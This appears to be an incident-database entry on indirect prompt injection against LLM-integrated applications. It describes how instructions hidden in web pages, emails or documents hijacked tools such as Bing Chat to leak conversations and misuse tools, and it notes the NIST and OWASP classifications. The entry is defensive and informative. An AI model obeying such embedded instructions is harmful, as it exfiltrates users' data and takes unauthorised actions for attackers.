Indirect Prompt Injection Attacks on LLM-Integrated Applications (2024)

Incident Summary

Between 2023 and 2024, security researchers and real-world attackers demonstrated that large language model (LLM) applications integrated with external data sources — including email assistants, search engines, chatbots, and document processors — were systematically vulnerable to indirect prompt injection attacks.^[2] In this attack class, malicious instructions are embedded in external content (such as web pages, emails, or documents) that an LLM processes as part of its normal operation. When the model ingests this content, it may interpret and execute the hidden instructions as though they were legitimate user commands, enabling attackers to hijack the model’s behavior without direct access to the user’s session.^[2][4]

Researchers at RWTH Aachen and other institutions published systematic analyses demonstrating that indirect prompt injection could be used to exfiltrate conversation data, manipulate model outputs, spread misinformation, and execute unauthorized actions through tool-use capabilities.^[2] In one widely reported demonstration, security researchers showed that hidden instructions embedded in web pages could cause Microsoft Bing Chat to leak users’ previous conversation content and perform actions on their behalf.^[3]

NIST recognized prompt injection as a primary security concern in its January 2024 publication AI 100-2e2023, a comprehensive taxonomy of adversarial machine learning attacks.^[1] The OWASP Foundation separately classified prompt injection as the top risk (LLM01) in its Top 10 for Large Language Model Applications, published in October 2023.^[4] As of the date of logging, no comprehensive architectural solution to indirect prompt injection has been deployed across the industry, and the vulnerability class is widely considered a fundamental challenge of current LLM designs.

Key Facts

• Attack class: Indirect prompt injection — malicious instructions hidden in external data consumed by LLM applications
• Affected systems: LLM-integrated email assistants, search engines (including Bing Chat), chatbots, document processors, and other tool-augmented LLM applications
• Attack capabilities demonstrated: Conversation data exfiltration, output manipulation, unauthorized tool use, misinformation injection
• Regulatory classification: NIST AI 100-2e2023 (primary AI security risk); OWASP LLM01 (top LLM application vulnerability)
• Mitigation status: Ongoing; no comprehensive solution deployed across the industry
• Scope: Affects virtually all LLM applications that process external or user-supplied content

Threat Patterns Involved

Primary: Adversarial Evasion — Indirect prompt injection represents a class of adversarial attacks in which carefully crafted inputs manipulate LLM behavior to bypass security controls, safety filters, and intended operational boundaries, causing the model to execute attacker-specified instructions.

Secondary: Tool Misuse and Privilege Escalation — When LLM applications have access to tools (email sending, web browsing, code execution, API calls), indirect prompt injection can escalate the attack’s impact by causing the model to invoke these tools on behalf of the attacker, effectively granting the attacker the privileges of the LLM’s tool-use capabilities.

Significance

1. Fundamental vulnerability of LLM architectures. Unlike traditional injection attacks (such as SQL injection) for which well-understood mitigation patterns exist, indirect prompt injection exploits the core capability of LLMs — their ability to follow natural language instructions — making it a challenge that may not have a purely architectural solution within current model designs.
2. Scale of exposure. Because the vulnerability class affects any LLM application that processes external content, the potential attack surface spans virtually all deployed LLM-integrated products, from consumer chatbots to enterprise email assistants and autonomous AI agents.
3. Amplified risk in agentic systems. As LLM applications are granted increasing tool-use capabilities (sending emails, executing code, making API calls), the potential impact of indirect prompt injection escalates from information disclosure to active system compromise, making this vulnerability class particularly consequential for the emerging category of AI agents.
4. Institutional recognition as a top-tier risk. The simultaneous classification by NIST and OWASP as a primary AI security risk signals that indirect prompt injection is recognized at the institutional level as one of the most significant security challenges facing the deployment of LLM-based systems.